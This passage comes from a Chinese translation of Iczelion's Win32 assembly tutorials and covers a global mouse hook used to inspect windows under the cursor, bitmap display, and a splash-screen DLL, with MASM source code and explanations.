invoke EndDialog,hDlg,NULL
.elseif uMsg==WM_INITDIALOG
invoke GetWindowRect,hDlg,addr rect
invoke SetWindowPos, hDlg, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif
.elseif uMsg==WM_COMMAND
.if lParam!=0
mov eax,wParam
mov edx,eax
shr edx,16
.if dx==BN_CLICKED
.if ax==IDC_EXIT
invoke SendMessage,hDlg,WM_CLOSE,0,0
.else
.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif
.else
invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL
.endif
.endif
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgFunc endp

end start

;----------------------------------------------------- DLL的源代码部分 --------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.const
WM_MOUSEHOOK equ WM_USER+6

.data
hInstance dd 0

.data?
hHook dd ?
hWnd dd ?

.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif
mov eax,TRUE
ret
DllEntry Endp

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp

End DllEntry

;---------------------------------------------- DLL的Makefile文件 ----------------------------------------------

NAME=mousehook
$(NAME).dll: $(NAME).obj
Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm\lib $(NAME).obj
$(NAME).obj: $(NAME).asm
ml /c /coff /Cp $(NAME).asm

分析:

该应用程序的主窗口中包括三个编辑控件，它们将分别显示当前鼠标光标所在位置的窗口类名、窗口句柄和窗口过程的地址。还有两个按钮：“Hook”和“Eixt”。当您按下Hook时，应用程序将钩挂鼠标输入的事件消息，该按钮的文本将变成“Unhook”。当您把鼠标关标滑过一个窗口时，该窗口的有关消息将显示在主窗口中。当您按下“Unhook”时，应用程序将卸载钩子。 主窗口使用一个对话框来作为它的主窗口。它自定义了一个消息WM_MOUSEHOOK，用来在主窗口和DLL之间传递消息。当主窗口接收到该消息时，wParam中包含了光标所在位置的窗口的句柄。当然这是我们做的安排。我这么做只是为了方便。您可以使用您自己的方法在主应用程序和DLL之间进行通讯。

.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif

该应用程序有一个全局变量，HookFlag，它用来监视钩子的状态。如果安装来钩子它就是TRUE，否则是FALSE。 当用户按下Hook按钮时，应用程序检查钩子是否已经安装。如果还没有的话，它将调用DLL中引出的函数InstallHook来安装它。注意我们把主对话框的句柄传递给了DLL，这样这个钩子DLL就可以把WM_MOUSEHOOK消息传递给正确的窗口了。当应用程序加载时，钩子DLL也同时加载。时机上当主程序一旦加载到内存中后，DLL就立即加载。DLL的入口点函数载主程序的第一条语句执行前就前执行了。所以当主程序执行时，DLL已经初始化好了。我们载入口点处放入如下代码：

.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif

该段代码把DLL自己的实例句柄放到一个全局变量中保存。由于入口点函数是在所有函数调用前被执行的，所以hInstance总是有效的。我们把该变量放到.data中，使得每一个进程都有自己一个该变量的值。因为当鼠标光标停在一个窗口上时，钩子DLL被映射进进程的地址空间。加入在DLL缺省加载的地址处已经加载其它的DLL，那钩子DLL将要被映射到其他的地址。hInstance将被更新成其它的值。当用户按下Unhook再按下Hook时，SetWindowsHookEx将被再次调用。这一次，它将把新的地址作为实例句柄。而在例子中这是错误的，DLL装载的地址并没有变。这个钩子将变成一个局部的，您只能钩挂发生在您窗口中的鼠标事件，这是很难让人满意的 。

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

InstallHook 函数非常简单。它把传递过来的窗口句柄保存在hWnd中以备后用。接着调用SetWindowsHookEx函数来安装一个鼠标钩子。该函数的返回值放在全局变量hHook中，将来在UnhookWindowsHookEx中还要使用。在调用SetWindowsHookEx后，鼠标钩子就开始工作了。无论什么时候发生了鼠标事件，MouseProc函数都将被调用：

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

钩子函数首先调用CallNextHookEx函数让其它的钩子处理该鼠标事件。然后，调用WindowFromPoint函数来得到给定屏幕坐标位置处的窗口句柄。注意：我们用lParam指向的MOUSEHOOKSTRUCT型结构体变量中的POINT成员变量作为当前的鼠标位置。在我们调用PostMessage函数把WM_MOUSEHOOK消息发送到主程序。您必须记住的一件事是：在钩子函数中不要使用SendMessage函数，它会引起死锁。MOUSEHOOKSTRUCT的定义如下：

MOUSEHOOKSTRUCT STRUCT DWORD
pt POINT <>
hwnd DWORD ?
wHitTestCode DWORD ?
dwExtraInfo DWORD ?
MOUSEHOOKSTRUCT ENDS

  • pt 是当前鼠标所在的屏幕位置。
  • hwnd 是将接收鼠标消息的窗口的句柄。通常它是鼠标所在处的窗口，但是如果窗口调用了SetCapture，鼠标的输入将到向到这个窗口。因我们不用该成员变量而是用WindowFromPoint函数。
  • wHitTestCode 指定hit-test值，该值给出了更多的鼠标位置值。它指定了鼠标在窗口的那个部位。该值的完全列表，请参考WIN32 API 指南中的WM_NCHITTEST消息。
  • dwExtraInfo 该值包含了相关的信息。一般该值由mouse_event函数设定，可以调用GetMessageExtraInfo来获得。

当主窗口接收到WM_MOUSEHOOK 消息时，它用wParam参数中的窗口句柄来查询窗口的消息。

.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif

为了避免重绘文本时的抖动，我们把已经在编辑空间中线时的文本和我们将要显示的对比。如果相同，就可以忽略掉。得到类名调用GetClassName，得到窗口过程调用GetClassLong并传入GCL_WNDPROC标志，然后把它们格式化成文本串并放到相关的编辑空间中去。

invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL

当用户按下Unhook后，主程序调用DLL中的UninstallHook函数。该函数调用UnhookWindowsHookEx函数。然后，它把按钮的文本换回“Hook”，HookFlag的值设成FALSE再清除掉编辑控件中的文本。
链接器的开关选项如下：

Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS

它指定.bss段作为一个共享段以便所有映射该DLL的进程共享未初始化的数据段。如果不用该开关，您DLL中的钩子就不能正常工作了。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第二十五课:位图初步

在这一课,我们将学习怎样在程序中使用位图。 更准确地说,我们要学习的是怎样在一个窗口的客户区中显示位图。

理论

位图就是存贮于电脑中的图片。位图文件有相当多的格式（译者：如.BMP.JPG.GIF.PIC 等）但Windows仅 支持 Windows Bitmap Graphics 格式，即BMP文件。 本课所指的位图也是BMP文件。 使用位图最简单的方法就是把它定义在资源文件（.rc)中。 定义的方法有两种。第一种方法是把它定义为整数宏，具体如下：
#define IDB_MYBITMAP 100
IDB_MYBITMAP BITMAP "c:\project\example.bmp"
第一行我们定义了一个值为100的整数宏。 第二行我们把这个整数宏指向所要定义的位图， 这样，编译器就能知道位图所在的路径。
另一种方法是给它起一个名字，也就是把它定义为字符串，具体如下:
MyBitMap BITMAP "c:\project\example.bmp"
两种方法效果是一样的。 选择哪一种方法，视乎在程序中你喜欢用整数宏还是用字符串来指向位图。
现在我们已经把位图定义在资源文件中，下一步就是把它显示在窗口的客户区上。
  1. 在程序中，我们使用API函数 LoadBitmap 取得位图句柄。 下面是 LoadBitmap 函数的 完型：
      LoadBitmap proto hInstance:HINSTANCE, lpBitmapName:LPSTR

    该函数返回一个位图句柄。函数有两个参数，其中 hInstance 是程序句柄。 lpBitmapName 是位图名字的指针（适用于第二种定义方法）。如果你使用了第一种 定义方法，你可以填入指向位图的值或整数宏 （对应上例这个值就是100，整数宏是IDB_MYBITMAP)。下面是简单的例子：

      第一种方法:

      .386
      .model flat, stdcall
      ................
      .const
      IDB_MYBITMAP equ 100
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,IDB_MYBITMAP
      ...........

      第二种方法:

      .386
      .model flat, stdcall
      ................
      .data
      BitmapName db "MyBitMap",0
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,addr BitmapName
      ...........

  1. 获得一个设备文本（DC）句柄。你可以在响应WM_PAINT消息时通过API函数BeginPaint获得。 如果在其它消息中则可以用API函数GetDC获得。
  2. 创建这个DC的内存映像。这样做的目的是建立一张“隐藏的画纸”，把位图 “画”在上面，作缓冲之用。完成这项工作后，我们就通过一个函数把“画纸”上的位图复制 到真正的DC中。这就是在屏幕上快速显示图象的双缓冲技术。（译者：可以减少图象抖动） 这张“画纸”用API函数 CreateCompatibleDC 建立，下面是它的完型：
      CreateCompatibleDC proto hdc:HDC

    如果函数执行成功，将返回DC内存映像也即“画纸”的句柄。

  1. 现在我们已经有了“画纸”，可以把位图画在上面了。这可以通过API函数 SelectObject 完成， 其中第一个参数是“画纸”的句柄，第二个参数则是位图的句柄，下面是函数的完型:
      SelectObject proto hdc:HDC, hGdiObject:DWORD
  1. 现在位图已经画在“画纸”上了。下一步我们要把位图复制到真正的DC中。 有很多API函数都能完成这项工作，例如 BitBlt 和 StretchBlt。 函数 BitBlt 仅仅将一个DC的内容简单地复制到另一个DC中，而函数 StretchBlt 则能够自动调整源DC复制内容的大小已适应目的DC的输出区域大小，因此前者比后者速度更快。 在这里我们只使用函数 BitBlt ，下面是它的完型：
      BitBlt proto hdcDest:DWORD, nxDest:DWORD, nyDest:DWORD, nWidth:DWORD, nHeight:DWORD, hdcSrc:DWORD, nxSrc:DWORD, nySrc:DWORD, dwROP:DWORD
    hdcDest 目的DC的句柄。
    nxDest, nyDest 目的DC输出区域的左上角坐标。
    nWidth, nHeight 目的DC输出区域的长和宽。
    hdcSrc 源DC的句柄。
    nxSrc, nySrc 源DC中所要复制区域的左上角坐标。
    dwROP 屏面运算码（ROP）。该参数用以确定复制内容的颜色与输出区域原来的颜色按哪种运算 方式处理。通常，只需要简单地用复制内容把输出区域覆盖掉。
  1. 一切办妥后，就用API函数 DeleteObject 释放位图对象，也就是把位图“抹掉”。
大功告成! 现在再来回顾一下整个过程：首先，你需要把位图定义在资源文件中。 然后，你需要在程序中载入位图资源，并取得位图句柄。随后，你需要获得位图输出区域的DC， 以及创建这个DC的内存映像，并把位图放进这个DC内存映像中。最后把位图从DC内存映像复制到 真正的DC中。

例子:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
IDB_MAIN equ 1

.data
ClassName db "SimpleWin32ASMBitmapClass",0
AppName db "Win32ASM Simple Bitmap Example",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hBitmap dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL ps:PAINTSTRUCT
LOCAL hdc:HDC
LOCAL hMemDC:HDC
LOCAL rect:RECT
.if uMsg==WM_CREATE
invoke LoadBitmap,hInstance,IDB_MAIN
mov hBitmap,eax
.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemDC,eax
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWnd,addr rect
invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
invoke DeleteDC,hMemDC
invoke EndPaint,hWnd,addr ps
.elseif uMsg==WM_DESTROY
invoke DeleteObject,hBitmap
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

;---------------------------------------------------------------------
; 资源定义
;---------------------------------------------------------------------
#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"

分析:

#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"
定义整数宏IDB_MAIN的值为1，然后把它指向一个与资源文件处于相同目录文件名为“tweety.bmp"的位图。

.if uMsg==WM_CREATE
invoke LoadBitmap,hInstance,IDB_MAIN
mov hBitmap,eax

在处理 WM_CREATE 消息时, 我们通过API函数 LoadBitmap 载入位图资源，并通过函数 返回值取得位图句柄。
然后，我们就可以把位图画在窗口客户区上。

.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemDC,eax
invoke SelectObject,hMemDC,hBitmap
invoke GetClientRect,hWnd,addr rect
invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
invoke DeleteDC,hMemDC
invoke EndPaint,hWnd,addr ps

在本例中，我们选用在响应WM_PAINT消息时画出位图。首先我们通过API函数l BeginPaint 获得窗口客户区的DC句柄。 接着我们通过API函数 CreateCompatibleDC 创建该DC 的内存映像，并通过API函数 SelectObject 把位图放进内存映像中。下一步，我们通过API函数 GetClientRect 取得窗口客户区的大小。最后，我们通过API函数 BitBlt 把位图从DC内存映像复制到真正的客户区DC中。 完成显示工作后，我们通过API函数 DeleteDC 释放DC内存映像，并用API函数 EndPaint 释放客户区DC， 结束画图工作。

.elseif uMsg==WM_DESTROY
invoke DeleteObject,hBitmap
invoke PostQuitMessage,NULL
当我们不再需要位图时，通过API函数 DeleteObject 把它释放。
翻译：赵昆 Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

第26章: 启动画面

上一章我们学习了位图的使用.在这一章我们要用 上帝赋予我们的创造力来融会贯通上一章我们学到的知识.那就是研究如何用位图来创建启动画面. 你可以在这里下载示范: the example.

理论

首先,我们先要搞清楚什么是启动画面.举个简单的例子:我们启动某些作 的专业一点的程序时(比如Netscape,Adobe Acrobat等)会先跳出一个启动画面.上面通常有一 些版权信息,版本号等.与此同时,程序后台正做着一些程序的加载或初始化工作.这个启动画面有别于 一般的窗口.它没有标题栏,没有系统菜单,也没有边框.只有一张位图在屏幕上显示一会儿,然后消失 .在这一章我们来试试自己做一个.
第一步你可能会想到把要显示的位图包含到资源文件中去.但是这样做 有一个缺点.你的程序只在启动的时候显示这张位图,可是它却至始至终存在于你的内存中,直到你 把程序关掉.这不能不说是对内存的极大浪费.好办法是:创建一个"资源"DLL(动态连接库)来包含位图 和它独特的显示代码.这样,你就可以在想显示启动画面的时候加载他,用完了就卸载它.所以,我们的 程序需要2个模块:主程序和启动画面DLL.我们要把位图放到这个DLL的资源中去.
基本步骤如下:
  1. 把位图作为一个位图资源放到DLL中去.
  2. 主程序调用 LoadLibrary 把 dll 加载到内存中去.
  3. DLL 被调用后,它会建立一个定时器用于管理启动画面显示的时间.然后,注册并创建一个没有 标题和边框的窗口.同时在窗口的客户区显示位图.
  4. 等启动画面的显示时间长度到达你预先的设定值,启动画面消失,控制权回到主程序手中.
  5. 主程序调用 FreeLibrary 从内存中卸载 DLL .然后,做它该做的事去.
下面我们来研究细节部分

加载/卸载 DLL

你可以用 LoadLibrary 灵活的加载一个 DLL ,它的格式如下:
LoadLibrary proto lpDLLName:DWORD
它只有一个参数: 你想要加载的 DLL 的名称所在的地址.调用成功返回指向该DLL模块的句柄,反之返回NULL.
要卸载 DLL, 则调用 FreeLibrary:
FreeLibrary proto hLib:DWORD
它也只有一个参数: 你想要卸载的 DLL 模块的句柄(通常就是上面那个函数返回的啦).

怎样使用定时器

首先, 你要用 SetTimer 创建一个定时器:
SetTimer proto hWnd:DWORD, TimerID:DWORD, uElapse:DWORD, lpTimerFunc:DWORD

hWnd接受这个定时器消息的窗口的句柄.如果,你的定时器不需要窗口接受它的消息,你也可以 用NULL作为参数
TimerID定时器的 ID 值. 由你自己定义.
uElapse 定时器定的时间.以ms(千分之一秒)为单位.
lpTimerFunc 处理该定时器消息的函数所在的地址.如果你用NULL作为该参数,那么定时器的消息会被送给 hWnd 参数所指定的窗口.

SetTimer 如果成功则返回定时器的 ID 否则返回 NULL. 所以最好不要把定时器的ID设为0(Pheadnius:NULL代表0, 记得吗?).

你可以用2种方法创建定时器:
  • 如果你有一个窗口并且定时器把消息传给这个窗口.那么你需要把所有的4个参数都传送给 Settimer 函数 (lpTimerFunc参数必须为NULL).
  • 如果你没有窗口或者你不想让窗口处理定时器的消息,那么你必须在窗口句柄中传送一个NULL.同时你要指定 用于处理定时器消息的函数的地址.
在这个例子中我们要使用第一种方法.
当你设定的时间到了, 与定时器相连的窗口会收到 WM_TIMER 消息.例如,你指定 uElapse 的值为 1000, 你的窗口每 过一秒都会收到 WM_TIMER 消息.
等到你再也不需要这个定时器了,就用 KillTimer 来去除定时器.
KillTimer proto hWnd:DWORD, TimerID:DWORD

例子:

;-----------------------------------------------------------------------
; 主程序
;-----------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SplashDemoWinClass",0
AppName db "Splash Screen Example",0
Libname db "splash.dll",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
start:
invoke LoadLibrary,addr Libname
.if eax!=NULL
invoke FreeLibrary,eax
.endif
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

;--------------------------------------------------------------------
; 位图 DLL
;--------------------------------------------------------------------
.386
.model flat, stdcall
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
.data
BitmapName db "MySplashBMP",0
ClassName db "SplashWndClass",0
hBitMap dd 0
TimerID dd 0

.data
hInstance dd ?

.code

DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH ; When the dll is loaded
push hInst
pop hInstance
call ShowBitMap
.endif
mov eax,TRUE
ret
DllEntry Endp
ShowBitMap proc
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,0
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
WS_POPUP,CW_USEDEFAULT,\
CW_USEDEFAULT,250,250,NULL,NULL,\
hInstance,NULL
mov hwnd,eax
INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
.WHILE TRUE
INVOKE GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
INVOKE TranslateMessage, ADDR msg
INVOKE DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
ShowBitMap endp
WndProc proc hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL ps:PAINTSTRUCT
LOCAL hdc:HDC
LOCAL hMemoryDC:HDC
LOCAL hOldBmp:DWORD
LOCAL bitmap:BITMAP
LOCAL DlgHeight:DWORD
LOCAL DlgWidth:DWORD
LOCAL DlgRect:RECT
LOCAL DesktopRect:RECT

.if uMsg==WM_DESTROY
.if hBitMap!=0
invoke DeleteObject,hBitMap
.endif
invoke PostQuitMessage,NULL
.elseif uMsg==WM_CREATE
invoke GetWindowRect,hWnd,addr DlgRect
invoke GetDesktopWindow
mov ecx,eax
invoke GetWindowRect,ecx,addr DesktopRect
push 0
mov eax,DlgRect.bottom
sub eax,DlgRect.top
mov DlgHeight,eax
push eax
mov eax,DlgRect.right
sub eax,DlgRect.left
mov DlgWidth,eax
push eax
mov eax,DesktopRect.bottom
sub eax,DlgHeight
shr eax,1
push eax
mov eax,DesktopRect.right
sub eax,DlgWidth
shr eax,1
push eax
push hWnd
call MoveWindow
invoke LoadBitmap,hInstance,addr BitmapName
mov hBitMap,eax
invoke SetTimer,hWnd,1,2000,NULL
mov TimerID,eax
.elseif uMsg==WM_TIMER
invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
invoke KillTimer,hWnd,TimerID
.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemoryDC,eax
invoke SelectObject,eax,hBitMap
mov hOldBmp,eax
invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
invoke StretchBlt,hdc,0,0,250,250,\
hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
invoke SelectObject,hMemoryDC,hOldBmp
invoke DeleteDC,hMemoryDC
invoke EndPaint,hWnd,addr ps
.elseif uMsg==WM_LBUTTONDOWN
invoke DestroyWindow,hWnd
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

End DllEntry

分析:

我们首先要再主程序中检验这段代码.
invoke LoadLibrary,addr Libname
.if eax!=NULL
invoke FreeLibrary,eax
.endif
我们调用 LoadLibrary 读入名称为 "splash.dll" 的 DLL. 然后, 用 FreeLibrary 卸载. 一直到 DLL 完成初始化, LoadLibrary才会返回.
主程序的任务到此为止. 更有趣的部分再 DLL里.

.if reason==DLL_PROCESS_ATTACH ; When the dll is loaded
push hInst
pop hInstance
call ShowBitMap

DLL 被加载后, Windows 调用它的有 DLL_PROCESS_ATTACH 标记的入口函数. 我们借这个机会显示启动画面. 首先,我们 保存 DLL 事例的句柄以供将来使用. 然后, 调用一个叫 ShowBitMap 的函数进行真正的工作. ShowBitMap 注册一个窗口, 创建这个窗口和显示它.就像我们以前创建窗口一样. 有趣的是这个 CreateWindowEx 调用:

INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
WS_POPUP,CW_USEDEFAULT,\
CW_USEDEFAULT,250,250,NULL,NULL,\
hInstance,NULL

注意, 这里的窗口风格仅仅使用了 WS_POPUP . 所以窗口即没有标题栏,也没有边界. 我们同时也限定窗口的宽高为 250x250个像素.
现在窗口创建好了. 在 WM_CREATE 的消息处理代码里我们把这个窗口移到屏幕的中央.代码如下:

invoke GetWindowRect,hWnd,addr DlgRect
invoke GetDesktopWindow
mov ecx,eax
invoke GetWindowRect,ecx,addr DesktopRect
push 0
mov eax,DlgRect.bottom
sub eax,DlgRect.top
mov DlgHeight,eax
push eax
mov eax,DlgRect.right
sub eax,DlgRect.left
mov DlgWidth,eax
push eax
mov eax,DesktopRect.bottom
